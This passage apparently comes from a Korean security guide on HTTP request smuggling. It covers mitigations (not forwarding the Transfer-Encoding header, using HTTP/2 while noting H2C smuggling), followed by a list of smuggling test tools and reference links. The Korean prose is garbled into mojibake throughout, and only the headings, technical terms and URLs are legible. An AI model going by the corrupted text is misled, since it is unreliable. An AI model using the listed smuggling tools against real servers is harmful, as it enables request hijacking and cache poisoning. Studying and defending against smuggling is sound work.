๋๋ฒ์จฐ ๋ฐฉ๋ฒ์ TE ํค๋๋ฅผ ๋ฌด์ํ๋ ๋ฐฉ๋ฒ์ ๋๋ค. TE ํค๋ ์์ฒด๊ฐ ์ผ๋ฐ ์๋น์ค์์ ๋ฌด์กฐ๊ฑด ์ฌ์ฉํ๋ ํค๋๋ ์๋๊ธฐ ๋๋ฌธ์ ์๋น์ค์์ TE ์ฌ์ฉ์ด ํ์ํ์ง ์์ ๊ฒฝ์ฐ TE ํค๋๋ฅผ ๋ฐฑ์๋๋ก ์ ๋ฌํ์ง ์๋ ๋ฐฉํฅ์ผ๋ก ์์ ์ด ๊ฐ๋ฅํฉ๋๋ค. ๋ค๋ง ์ด ๊ฒฝ์ฐ ์ฐํํจํด์ผ๋ก ๋ฐฑ์๋์ TE๋ฅผ ์ ๋ฌ์ํฌ ๊ฐ๋ฅ์ฑ์ด ์๊ธฐ ๋๋ฌธ์ ๊ผผ๊ผผํ ๊ฒ์ฆ์ด ํ์ํฉ๋๋ค.
HTTP2 ์ฌ์ฉ
HTTP2๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํต์ ํ๋ ๊ฒฝ์ฐ ์ ๊ณต๊ฒฉ์ ์ทจ์ฝํ์ง ์์ต๋๋ค. ๋ค๋ง HTTP2 H2C Smuggling ์ ์ํฅ์ ๋ฐ์ ์ ์์ผ๋ ์ฐธ๊ณ ๊ฐ ํ์ํฉ๋๋ค.
๐น Tools
- https://github.com/defparam/smuggler
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/SafeBreach-Labs/HRS
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/neex/http2smugl
- Burp - HTTP Request Smuggler
- Burp - TurboIntruder
- ZAP - Manual Request Editor
- https://github.com/assetnote/h2csmuggler
๐ References
- https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn
- https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/Transfer-Encoding
- https://portswigger.net/web-security/request-smuggling
- https://www.hahwul.com/2019/08/12/http-smuggling-attack-re-born/
- https://www.hahwul.com/2019/10/09/new-technic-of-http-desync-attack/